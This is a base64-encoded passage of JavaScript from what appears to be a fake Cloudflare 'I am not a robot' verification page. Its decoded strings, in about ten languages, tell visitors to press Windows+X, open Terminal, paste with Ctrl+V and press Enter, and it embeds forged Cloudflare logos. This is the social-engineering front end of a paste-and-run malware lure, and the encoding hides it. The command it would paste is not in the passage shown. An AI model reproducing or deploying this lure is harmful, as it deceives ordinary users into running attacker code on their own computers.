aW5kdW5nIFx1MDBmY2JlcnByXHUwMGZjZmVuLicsd2luZG93c0tleUhlbHA6J0RhcyBpc3QgZGllIFdpbmRvd3MtVGFzdGUsIHVudGVuIGF1ZiBkZXIgVGFzdGF0dXIgendpc2NoZW4gU3RyZyB1bmQgQWx0LCB1bnRlciBkZXIgWi1UYXN0ZSd9LGZyOntub3RSb2JvdFRleHQ6J0plIG5lIHN1aXMgcGFzIHVuIHJvYm90Jyx2ZXJpZnlpbmdUZXh0OidWXHUwMGU5cmlmaWNhdGlvblx1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1ZcdTAwZTlyaWZpY2F0aW9uIGh1bWFpbmUnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidTdWl2ZXogbGVzIFx1MDBlOXRhcGVzIGNpLWRlc3NvdXMnLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidFZmZlY3R1ZXogbGVzIFx1MDBlOXRhcGVzIHN1ciB2b3RyZSBjbGF2aWVyJyx0aW1lUmVtYWluaW5nOidUZW1wcyByZXN0YW50Jyx3YXJuaW5nMzBTZWNvbmRzOidNb2lucyBkZSAzMCBzZWNvbmRlcyAhJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J291IFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50clx1MDBlOWUgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J0NvbmZpZGVudGlhbGl0XHUwMGU5Jyx0ZXJtc0xpbms6J0NvbmRpdGlvbnMnLHNlY3VyaXR5TWVzc2FnZTonZG9pdCB2XHUwMGU5cmlmaWVyIGxhIHNcdTAwZTljdXJpdFx1MDBlOSBkZSB2b3RyZSBjb25uZXhpb24uJyx3aW5kb3dzS2V5SGVscDonQ1wnZXN0IGxhIHRvdWNoZSBXaW5kb3dzLCBlbiBiYXMgZHUgY2xhdmllciBlbnRyZSBDdHJsIGV0IEFsdCwgc291cyBsYSB0b3VjaGUgWid9LGVzOntub3RSb2JvdFRleHQ6J05vIHNveSB1biByb2JvdCcsdmVyaWZ5aW5nVGV4dDonQ29tcHJvYmFuZG9cdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidWZXJpZmljYWNpXHUwMGYzbiBodW1hbmEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidDb21wbGV0YSBsb3MgcGFzb3MgYWJham8nLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidSZWFsaXphIGxvcyBwYXNvcyBlbiB0dSB0ZWNsYWRvJyx0aW1lUmVtYWluaW5nOidUaWVtcG8gcmVzdGFudGUnLHdhcm5pbmczMFNlY29uZHM6J1x1MDBhMU1lbm9zIGRlIDMwIHNlZ3VuZG9zIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvIFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1ByaXZhY2lkYWQnLHRlcm1zTGluazonVFx1MDBlOXJtaW5vcycsc2VjdXJpdHlNZXNzYWdlOidkZWJlIHJldmlzYXIgbGEgc2VndXJpZGFkIGRlIHR1IGNvbmV4aVx1MDBmM24uJyx3aW5kb3dzS2V5SGVscDonRXN0YSBlcyBsYSB0ZWNsYSBkZSBXaW5kb3dzLCBlbiBsYSBwYXJ0ZSBpbmZlcmlvciBkZWwgdGVjbGFkbyBlbnRyZSBDdHJsIHkgQWx0LCBiYWpvIGxhIHRlY2xhIFonfSxpdDp7bm90Um9ib3RUZXh0OidOb24gc29ubyB1biByb2JvdCcsdmVyaWZ5aW5nVGV4dDonVmVyaWZpY2FcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidWZXJpZmljYSB1bWFuYScsdmVyaWZpY2F0aW9uU3VidGl0bGU6J0NvbXBsZXRhIGkgcGFzc2FnZ2kgc2VndWVudGknLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidFc2VndWkgaSBwYXNzYWdnaSBzdWxsYSB0dWEgdGFzdGllcmEnLHRpbWVSZW1haW5pbmc6J1RlbXBvIHJpbWFuZW50ZScsd2FybmluZzMwU2Vjb25kczonTWVubyBkaSAzMCBzZWNvbmRpIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvIFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+SW52aW8gXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1ByaXZhY3knLHRlcm1zTGluazonVGVybWluaScsc2VjdXJpdHlNZXNzYWdlOidkZXZlIHZlcmlmaWNhcmUgbGEgc2ljdXJlenphIGRlbGxhIGNvbm5lc3Npb25lLicsd2luZG93c0tleUhlbHA6J1F1ZXN0byBcdTAwZTggaWwgdGFzdG8gV2luZG93cywgaW4gYmFzc28gc3VsbGEgdGFzdGllcmEgdHJhIEN0cmwgZSBBbHQsIHNvdHRvIGlsIHRhc3RvIFonfSxwdDp7bm90Um9ib3RUZXh0OidOXHUwMGUzbyBzb3UgdW0gcm9iXHUwMGY0Jyx2ZXJpZnlpbmdUZXh0OidWZXJpZmljYW5kb1x1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1ZlcmlmaWNhXHUwMGU3XHUwMGUzbyBodW1hbmEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidDb25jbHVhIGFzIGV0YXBhcyBhYmFpeG8nLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidFeGVjdXRlIGFzIGV0YXBhcyBubyBzZXUgdGVjbGFkbycsdGltZVJlbWFpbmluZzonVGVtcG8gcmVzdGFudGUnLHdhcm5pbmczMFNlY29uZHM6J01lbm9zIGRlIDMwIHNlZ3VuZG9zIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvdSBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidQcml2YWNpZGFkZScsdGVybXNMaW5rOidUZXJtb3MnLHNlY3VyaXR5TWVzc2FnZToncHJlY2lzYSB2ZXJpZmljYXIgYSBzZWd1cmFuXHUwMGU3YSBkYSBjb25leFx1MDBlM28uJyx3aW5kb3dzS2V5SGVscDonRXN0YSBcdTAwZTkgYSB0ZWNsYSBXaW5kb3dzLCBuYSBwYXJ0ZSBpbmZlcmlvciBkbyB0ZWNsYWRvIGVudHJlIEN0cmwgZSBBbHQsIGFiYWl4byBkYSB0ZWNsYSBaJ30semg6e25vdFJvYm90VGV4dDonXHU2MjExXHU0ZTBkXHU2NjJmXHU2NzNhXHU1NjY4XHU0ZWJhJyx2ZXJpZnlpbmdUZXh0OidcdTZiNjNcdTU3MjhcdTY4YzBcdTY3ZTVcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidcdTRlYmFcdTVkZTVcdTlhOGNcdThiYzEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidcdThiZjdcdTViOGNcdTYyMTBcdTRlZTVcdTRlMGJcdTZiNjVcdTlhYTQnLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdThiZjdcdTU3MjhcdTk1MmVcdTc2ZDhcdTRlMGFcdTYyNjdcdTg4NGNcdTRlZTVcdTRlMGJcdTZiNjVcdTlhYTQnLHRpbWVSZW1haW5pbmc6J1x1NTI2OVx1NGY1OVx1NjVmNlx1OTVmNCcsd2FybmluZzMwU2Vjb25kczonXHU1MjY5XHU0ZjU5XHU0ZTBkXHU4ZGIzMzBcdTc5ZDJcdWZmMDEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonXHU5MDA5XHU2MmU5IFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1x1OTY5MFx1NzljMScsdGVybXNMaW5rOidcdTY3NjFcdTZiM2UnLHNlY3VyaXR5TWVzc2FnZTonXHU5NzAwXHU4OTgxXHU2OGMwXHU2N2U1XHU2MGE4XHU3Njg0XHU4ZmRlXHU2M2E1XHU1Yjg5XHU1MTY4XHU2MDI3XHUzMDAyJyx3aW5kb3dzS2V5SGVscDonXHU4ZmQ5XHU2NjJmIFdpbmRvd3MgXHU5NTJlXHVmZjBjXHU0ZjRkXHU0ZThlXHU5NTJlXHU3NmQ4XHU1ZTk1XHU5MGU4IEN0cmwgXHU1NDhjIEFsdCBcdTRlNGJcdTk1ZjRcdWZmMGNaIFx1OTUyZVx1NGUwYlx1NjViOSd9LGphOntub3RSb2JvdFRleHQ6J1x1NzljMVx1MzA2Zlx1MzBlZFx1MzBkY1x1MzBjM1x1MzBjOFx1MzA2N1x1MzA2Zlx1MzA0Mlx1MzA4YVx1MzA3ZVx1MzA1Ylx1MzA5MycsdmVyaWZ5aW5nVGV4dDonXHU3OGJhXHU4YThkXHU0ZTJkXHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonXHU0ZWJhXHU5NTkzXHU3OGJhXHU4YThkJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonXHU0ZWU1XHU0ZTBiXHUzMDZlXHU2MjRiXHU5ODA2XHUzMDkyXHU1YjhjXHU0ZTg2XHUzMDU3XHUzMDY2XHUzMDRmXHUzMDYwXHUzMDU1XHUzMDQ0JyxrZXlib2FyZEluc3RydWN0aW9uczonXHUzMGFkXHUzMGZjXHUzMGRjXHUzMGZjXHUzMGM5XHUzMDY3XHU2MjRiXHU5ODA2XHUzMDkyXHU1YjlmXHU4ODRjXHUzMDU3XHUzMDY2XHUzMDRmXHUzMDYwXHUzMDU1XHUzMDQ0Jyx0aW1lUmVtYWluaW5nOidcdTZiOGJcdTMwOGFcdTY2NDJcdTk1OTMnLHdhcm5pbmczMFNlY29uZHM6J1x1NmI4Ylx1MzA4YTMwXHU3OWQyXHU2NzJhXHU2ZTgwXHVmZjAxJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J1x1MzA3ZVx1MzA1Zlx1MzA2ZiBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidcdTMwZDdcdTMwZTlcdTMwYTRcdTMwZDBcdTMwYjdcdTMwZmMnLHRlcm1zTGluazonXHU4OThmXHU3ZDA0JyxzZWN1cml0eU1lc3NhZ2U6J1x1NjNhNVx1N2Q5YVx1MzA2ZVx1NWI4OVx1NTE2OFx1NjAyN1x1MzA5Mlx1NzhiYVx1OGE4ZFx1MzA1OVx1MzA4Ylx1NWZjNVx1ODk4MVx1MzA0Y1x1MzA0Mlx1MzA4YVx1MzA3ZVx1MzA1OVx1MzAwMicsd2luZG93c0tleUhlbHA6J1x1MzA1M1x1MzA4Y1x1MzA2ZiBXaW5kb3dzIFx1MzBhZFx1MzBmY1x1MzA2N1x1MzA1OVx1MzAwMlx1MzBhZFx1MzBmY1x1MzBkY1x1MzBmY1x1MzBjOVx1NGUwYlx1OTBlOFx1MzA2ZSBDdHJsIFx1MzA2OCBBbHQgXHUzMDZlXHU5NTkzXHUzMDAxWiBcdTMwYWRcdTMwZmNcdTMwNmVcdTRlMGJcdTMwNmJcdTMwNDJcdTMwOGFcdTMwN2VcdTMwNTknfSxrbzp7bm90Um9ib3RUZXh0OidcdWIwOThcdWIyOTQgXHViODVjXHViZDA3XHVjNzc0IFx1YzU0NFx1YjJkOVx1YjJjOFx1YjJlNCcsdmVyaWZ5aW5nVGV4dDonXHVkNjU1XHVjNzc4IFx1YzkxMVx1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1x1YzBhY1x1Yjc4YyBcdWQ2NTVcdWM3NzgnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidcdWM1NDRcdWI3OTggXHViMmU4XHVhY2M0XHViOTdjIFx1YzY0NFx1YjhjY1x1ZDU1OFx1YzEzOFx1YzY5NCcsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1ZDBhNFx1YmNmNFx1YjRkY1x1Yjg1YyBcdWIyZThcdWFjYzRcdWI5N2MgXHVjMjE4XHVkNTg5XHVkNTU4XHVjMTM4XHVjNjk0Jyx0aW1lUmVtYWluaW5nOidcdWIwYThcdWM3NDAgXHVjMmRjXHVhYzA0Jyx3YXJuaW5nMzBTZWNvbmRzOiczMFx1Y2QwOCBcdWJiZjhcdWI5Y2MgXHViMGE4XHVjNzRjIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidcdWI2MTBcdWIyOTQgVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonXHVhYzFjXHVjNzc4XHVjODE1XHViY2Y0Jyx0ZXJtc0xpbms6J1x1YzU3ZFx1YWQwMCcsc2VjdXJpdHlNZXNzYWdlOidcdWM1ZjBcdWFjYjAgXHViY2Y0XHVjNTQ4XHVjNzQ0IFx1ZDY1NVx1Yzc3OFx1ZDU3NFx1YzU3YyBcdWQ1NjlcdWIyYzhcdWIyZTQuJyx3aW5kb3dzS2V5SGVscDonXHVjNzc0XHVhYzgzXHVjNzQwIFdpbmRvd3MgXHVkMGE0XHVjNzg1XHViMmM4XHViMmU0LiBcdWQwYTRcdWJjZjRcdWI0ZGMgXHVkNTU4XHViMmU4XHVjNzU4IEN0cmxcdWFjZmMgQWx0IFx1YzBhY1x1Yzc3NCwgWiBcdWQwYTQgXHVjNTQ0XHViNzk4XHVjNWQwIFx1Yzc4OFx1YzJiNVx1YjJjOFx1YjJlNCd9LHRyOntub3RSb2JvdFRleHQ6J0JlbiByb2JvdCBkZVx1MDExZmlsaW0nLHZlcmlmeWluZ1RleHQ6J0tvbnRyb2wgZWRpbGl5b3JcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidcdTAxMzBuc2FuIGRvXHUwMTFmcnVsYW1hc1x1MDEzMScsdmVyaWZpY2F0aW9uU3VidGl0bGU6J0FcdTAxNWZhXHUwMTFmXHUwMTMxZGFraSBhZFx1MDEzMW1sYXJcdTAxMzEgdGFtYW1sYXlcdTAxMzFuJyxrZXlib2FyZEluc3RydWN0aW9uczonQWRcdTAxMzFtbGFyXHUwMTMxIGtsYXZ5ZW5pemRlIGdlclx1MDBlN2VrbGVcdTAxNWZ0aXJpbicsdGltZVJlbWFpbmluZzonS2FsYW4gc1x1MDBmY3JlJyx3YXJuaW5nMzBTZWNvbmRzOiczMCBzYW5peWVkZW4gYXoga2FsZFx1MDEzMSEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDondmV5YSBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidHaXpsaWxpaycsdGVybXNMaW5rOidcdTAxNWVhcnRsYXInLHNlY3VyaXR5TWVzc2FnZTonYmFcdTAxMWZsYW50XHUwMTMxblx1MDEzMXpcdTAxMzFuIGdcdTAwZmN2ZW5saVx1MDExZmluaSBrb250cm9sIGV0bWVzaSBnZXJla2l5b3IuJyx3aW5kb3dzS2V5SGVscDonQnUgV2luZG93cyB0dVx1MDE1ZnVkdXIsIGtsYXZ5ZW5pemluIGFsdCBrXHUwMTMxc21cdTAxMzFuZGEgQ3RybCB2ZSBBbHQgYXJhc1x1MDEzMW5kYSwgWiB0dVx1MDE1ZnVudW4gYWx0XHUwMTMxbmRhIGJ1bHVudXInfSxhcjp7bm90Um9ib3RUZXh0OidcdTA2NDRcdTA2MzNcdTA2MmEgXHUwNjI4XHUwNjMxXHUwNjQ2XHUwNjI3XHUwNjQ1XHUwNjJjIFx1MDYzMVx1MDY0OFx1MDYyOFx1MDY0OFx1MDYyYScsdmVyaWZ5aW5nVGV4dDonXHUwNjJjXHUwNjI3XHUwNjMxXHUwNjRkIFx1MDYyN1x1MDY0NFx1MDYyYVx1MDYyZFx1MDY0Mlx1MDY0Mlx1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1x1MDYyN1x1MDY0NFx1MDYyYVx1MDYyZFx1MDY0Mlx1MDY0MiBcdTA2MjdcdTA2NDRcdTA2MjhcdTA2MzRcdTA2MzFcdTA2NGEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidcdTA2MjNcdTA2NDNcdTA2NDVcdTA2NDQgXHUwNjI3XHUwNjQ0XHUwNjJlXHUwNjM3XHUwNjQ4XHUwNjI3XHUwNjJhIFx1MDYyM1x1MDYyZlx1MDY0Nlx1MDYyN1x1MDY0Nycsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1MDY0Nlx1MDY0MVx1MDY1MVx1MDYzMCBcdTA2MjdcdTA2NDRcdTA2MmVcdTA2MzdcdTA2NDhcdTA2MjdcdTA2MmEgXHUwNjM5XHUwNjQ0XHUwNjQ5IFx1MDY0NFx1MDY0OFx1MDYyZFx1MDYyOSBcdTA2MjdcdTA2NDRcdTA2NDVcdTA2NDFcdTA2MjdcdTA2MmFcdTA2NGFcdTA2MmQnLHRpbWVSZW1haW5pbmc6J1x1MDYyN1x1MDY0NFx1MDY0OFx1MDY0Mlx1MDYyYSBcdTA2MjdcdTA2NDRcdTA2NDVcdTA2MmFcdTA2MjhcdTA2NDJcdTA2NGEnLHdhcm5pbmczMFNlY29uZHM6J1x1MDYyM1x1MDY0Mlx1MDY0NCBcdTA2NDVcdTA2NDYgMzAgXHUwNjJiXHUwNjI3XHUwNjQ2XHUwNjRhXHUwNjI5IScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidcdTA2MjNcdTA2NDggVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonXHUwNjI3XHUwNjQ0XHUwNjJlXHUwNjM1XHUwNjQ4XHUwNjM1XHUwNjRhXHUwNjI5Jyx0ZXJtc0xpbms6J1x1MDYyN1x1MDY0NFx1MDYzNFx1MDYzMVx1MDY0OFx1MDYzNycsc2VjdXJpdHlNZXNzYWdlOidcdTA2NGFcdTA2MmRcdTA2MmFcdTA2MjdcdTA2MmMgXHUwNjI1XHUwNjQ0XHUwNjQ5IFx1MDY0NVx1MDYzMVx1MDYyN1x1MDYyY1x1MDYzOVx1MDYyOSBcdTA2MjNcdTA2NDVcdTA2MjdcdTA2NDYgXHUwNjI3XHUwNjJhXHUwNjM1XHUwNjI3XHUwNjQ0XHUwNjQzLicsd2luZG93c0tleUhlbHA6J1x1MDY0N1x1MDYzMFx1MDYyNyBcdTA2NDdcdTA2NDggXHUwNjQ1XHUwNjQxXHUwNjJhXHUwNjI3XHUwNjJkIFdpbmRvd3NcdTA2MGMgXHUwNjQxXHUwNjRhIFx1MDYyM1x1MDYzM1x1MDY0MVx1MDY0NCBcdTA2NDRcdTA2NDhcdTA2MmRcdTA2MjkgXHUwNjI3XHUwNjQ0XHUwNjQ1XHUwNjQxXHUwNjI3XHUwNjJhXHUwNjRhXHUwNjJkIFx1MDYyOFx1MDY0YVx1MDY0NiBDdHJsIFx1MDY0OCBBbHRcdTA2MGMgXHUwNjJhXHUwNjJkXHUwNjJhIFx1MDY0NVx1MDY0MVx1MDYyYVx1MDYyN1x1MDYyZCBaJ319Ow0KDQogICAgICAgICAgICB2YXIgbGFuZ0NvZGUgPSBnZXRCcm93c2VyTGFuZ3VhZ2VDb2RlKCk7DQogICAgICAgICAgICBpZiAodHJhbnNsYXRpb25zW2xhbmdDb2RlXSkgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cmFuc2xhdGlvbnNbbGFuZ0NvZGVdOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByZXR1cm4gdHJhbnNsYXRpb25zLmVuOw0KICAgICAgICB9DQoNCiAgICAgICAgdmFyIFVJX1RSQU5TTEFUSU9OUyA9IG1lcmdlT3NJbnN0cnVjdGlvblN0ZXBzKGdldFRyYW5zbGF0ZWRTdHJpbmdzKCksIGdldEJyb3dzZXJMYW5ndWFnZUNvZGUoKSk7DQogICAgICAgIHZhciBTVEVQMl9IVE1MID0gYnVpbGRTdGVwMkh0bWwoVUlfVFJBTlNMQVRJT05TKTsNCg0KICAgICAgICB2YXIgQ0xPVURGTEFSRV9MT0dPX1NWRyA9ICc8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDE4MCA1MCI+PHBhdGggZmlsbD0iI0ZCQUQ0MSIgZD0iTTM4LjUgMzIuMmMuMS0uNC4xLS44LjEtMS4yIDAtNC4xLTMuMy03LjQtNy40LTcuNC0xLjIgMC0yLjQuMy0zLjQuOC0uOS0yLjUtMy4zLTQuMi02LjEtNC4yLTMuNiAwLTYuNSAyLjktNi41IDYuNSAwIC42LjEgMS4zLjMgMS45QzEzLjQgMjkuMiAxMiAzMC44IDEyIDMyLjhjMCAuNS4xIDEgLjMgMS40aDI2Yy40LS44LjMtMS41LjItMnoiLz48cGF0aCBmaWxsPSIjRjY4MjFGIiBkPSJNMzYuOCAzNC4ySDEzYy0uNSAwLS45LS4zLTEtLjhsLS41LTEuOWMtLjEuNC0uMS44LS4xIDEuMiAwIDEuMiAxIDIuMiAyLjIgMi4yaC45Yy4zIDEuNiAxLjggMi44IDMuNiAyLjhIMzJjMiAwIDMuNi0xLjMgNC4xLTMuMWwuNS0xLjhjLjItLjQtLjMtLjYtLjgtLjYuMSAwIC4yLjEuMi4ybC44IDEuOHoiLz48dGV4dCB4PSI0OCIgeT0iMzUiIGZvbnQtZmFtaWx5PSJBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZiIgZm9udC1zaXplPSIxOCIgZm9udC13ZWlnaHQ9IjcwMCIgZmlsbD0iI0Y2ODIxRiI+Y2xvdWRmbGFyZTwvdGV4dD48L3N2Zz4nOw0KDQogICAgICAgIHZhciBDTE9VREZMQVJFX0xPR09fQkFTRTY0ID0gJ2RhdGE6aW1hZ2Uvc3ZnK3htbDtiYXNlNjQsJyArIGJ0b2EoQ0xPVURGTEFSRV9MT0dPX1NWRyk7DQoNCiAgICAgICAgdmFyIElTX0xJR0hUX01PREUgPSAhISh3aW5kb3cubWF0Y2hNZWRpYSAmJiB3aW5kb3cubWF0Y2hNZWRpYSgnKHByZWZlcnMtY29sb3Itc2NoZW1lOmxpZ2h0KScpLm1hdGNoZXMpOw0KDQogICAgICAgIHZhciBDTE9VREZMQVJFX0ZVTExfTE9HT19TVkcgPSAnPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDEuNCAzMy41Ij48ZGVmcz48c3R5bGU+LmF7ZmlsbDojZmZmfS5ie2ZpbGw6I2Y0ODEyMH0uY3tmaWxsOiNmYWFkM2Z9LmR7ZmlsbDonICsgKElTX0xJR0hUX01PREUgPyAnIzQwNDA0MScgOiAnI2ZmZicpICsgJ308L3N0eWxlPjwvZGVmcz48cGF0aCBjbGFzcz0iYSIgZD0iTTk0LjcsMTAuNiw4OS4xLDkuM2wtMS0uNC0yNS43LjJWMjEuNWwzMi4zLjFaIi8+PHBhdGggY2xhc3M9ImIiIGQ9Ik04NC4yLDIwLjRhMi44NTU0NiwyLjg1NTQ2LDAsMCwwLS4zLTIuNiwzLjA5NDI4LDMuMDk0MjgsMCwwLDAtMi4xLTEuMWwtMTcuNC0uMmMtLjEsMC0uMi0uMS0uMy0uMWEuMTg3NS4xODc1LDAsMCwxLDAtLjNjLjEtLjIuMi0uMy40LS4zTDgyLDE1LjZhNi4yOTIyMyw2LjI5MjIzLDAsMCwwLDUuMS0zLjhsMS0yLjZjMC0uMS4xLS4yLDAtLjNBMTEuMzk2NDYsMTEuMzk2NDYsMCwwLDAsNjYuMiw3LjdhNS40NTk0MSw1LjQ1OTQxLDAsMCwwLTMuNi0xQTUuMjA5MzYsNS4yMDkzNiwwLDAsMCw1OCwxMS4zYTUuNDYyNjIsNS40NjI2MiwwLDAsMCwuMSwxLjhBNy4zMDE3Nyw3LjMwMTc3LDAsMCwwLDUxLDIwLjRhNC4xMDIsNC4xMDIsMCwwLDAsLjEsMS4xLjMxOTMuMzE5MywwLDAsMCwuMy4zSDgzLjVjLjIsMCwuNC0uMS40LS4zWiIvPjxwYXRoIGNsYXNzPSJjIiBkPSJNODkuNyw5LjJoLS41Yy0uMSwwLS4yLjEtLjMuMmwtLjcsMi40YTIuODU1NDYsMi44NTU0NiwwLDAsMCwuMywyLjYsMy4wOTQyOCwzLjA5NDI4LDAsMCwwLDIuMSwxLjFsMy43LjJjLjEsMCwuMi4xLjMuMWEuMTg3NS4xODc1LDAsMCwxLDAsLjNjLS4xLjItLjIuMy0uNC4zbC0zLjguMmE2LjI5MjIzLDYuMjkyMjMsMCwwLDAtNS4xLDMuOGwtLjIuOWMtLjEuMSwwLC4zLjIuM0g5OC41YS4yNjUxNy4yNjUxNywwLDAsMCwuMy0uMywxMC44NzE4NCwxMC44NzE4NCwwLDAsMCwuNC0yLjYsOS41NjA0NSw5LjU2MDQ1LDAsMCwwLTkuNS05LjUiLz48cGF0aCBjbGFzcz0iZCIgZD0iTTEwMC41LDI3LjJhLjkuOSwwLDEsMSwuOS0uOS44OTYyNi44OTYyNiwwLDAsMS0uOS45bTAtMS42YS43LjcsMCwxLDAsLjcuNy42ODM1NC42ODM1NCwwLDAsMC0uNy0uN20uNCwxLjJoLS4ybC0uMi0uM2gtLjJ2LjNoLS4ydi0uOWguNWEuMjY1MTcuMjY1MTcsMCwwLDEsLjMuM2MwLC4xLS4xLjItLjIuM2wuMi4zWm0tLjMtLjVjLjEsMCwuMSwwLC4xLS4xYS4wOTc5NC4wOTc5NCwwLDAsMC0uMS0uMWgtLjN2LjNoLjNabS04OS43LS45aDIuMnY2aDMuOHYxLjloLTZabTguMywzLjlhNC4xMDQ5MSw0LjEwNDkxLDAsMCwxLDQuMy00LjEsNC4wMiw0LjAyLDAsMCwxLDQuMiw0LjEsNC4xMDQ5MSw0LjEwNDkxLDAsMCwxLTQuMyw0LjEsNC4wNzg4OCw0LjA3ODg4LDAsMCwxLTQuMi00LjFtNi4zLDBhMi4wNTU2NSwyLjA1NTY1LDAsMCwwLTItMi4yLDIuMTAyNSwyLjEwMjUsMCwwLDAsMCw0LjJjMS4yLjIsMi0uOCwyLTJtNC45LjVWMjUuNGgyLjJ2NC40YzAsMS4xLjYsMS43LDEuNSwxLjdhMS4zOTkyNiwxLjM5OTI2LDAsMCwwLDEuNS0xLjZWMjUuNGgyLjJ2NC40YzAsMi42LTEuNSwzLjctMy43LDMuNy0yLjMtLjEtMy43LTEuMi0zLjctMy43bTEwLjctNC40aDMuMWMyLjgsMCw0LjUsMS42LDQuNSwzLjlzLTEuNyw0LTQuNSw0aC0zVjI1LjRabTMuMSw1LjlhMi4wMDkwOSwyLjAwOTA5LDAsMSwwLDAtNGgtLjl2NFptNy42LTUuOWg2LjN2MS45SDU0djEuM2gzLjd2MS44SDU0djIuOUg1MS44Wm05LjQsMGgyLjJ2NmgzLjh2MS45aC02Wm0xMS43LS4xaDIuMmwzLjQsOEg3Ni4xbC0uNi0xLjRINzIuNGwtLjYsMS40SDY5LjVabTIsNC45TDc0LDI4bC0uOSwyLjJabTYuNC00LjhIODVhMy40MTgxOCwzLjQxODE4LDAsMCwxLDIuNi45LDIuNjIzNzMsMi42MjM3MywwLDAsMS0uOSw0LjJsMS45LDIuOEg4Ni4xbC0xLjYtMi40aC0xdjIuNEg4MS4zWm0zLjYsMy44Yy43LDAsMS4yLS40LDEuMi0uOSwwLS42LS41LS45LTEuMi0uOUg4My41djEuOWgxLjRabTYuNS0zLjhoNi40djEuOEg5My42djEuMmgzLjh2MS44SDkzLjZ2MS4yaDQuM3YxLjlIOTEuNFpNNi4xLDMwLjNhMS45NzU0OCwxLjk3NTQ4LDAsMCwxLTEuOCwxLjIsMi4xMDI1LDIuMTAyNSwwLDAsMSwwLTQuMiwyLjA5NzcsMi4wOTc3LDAsMCwxLDEuOSwxLjNIOC41YTQuMTM0NTksNC4xMzQ1OSwwLDAsMC00LjItMy4zQTQuMTY1MSw0LjE2NTEsMCwwLDAsMCwyOS40YTQuMDc4ODgsNC4wNzg4OCwwLDAsMCw0LjIsNC4xLDQuMzE4MTIsNC4zMTgxMiwwLDAsMCw0LjItMy4yWiIvPjwvc3ZnPic7DQoNCiAgICAgICAgdmFyIENMT1VERkxBUkVfRlVMTF9MT0dPX0JBU0U2NCA9ICdkYXRhO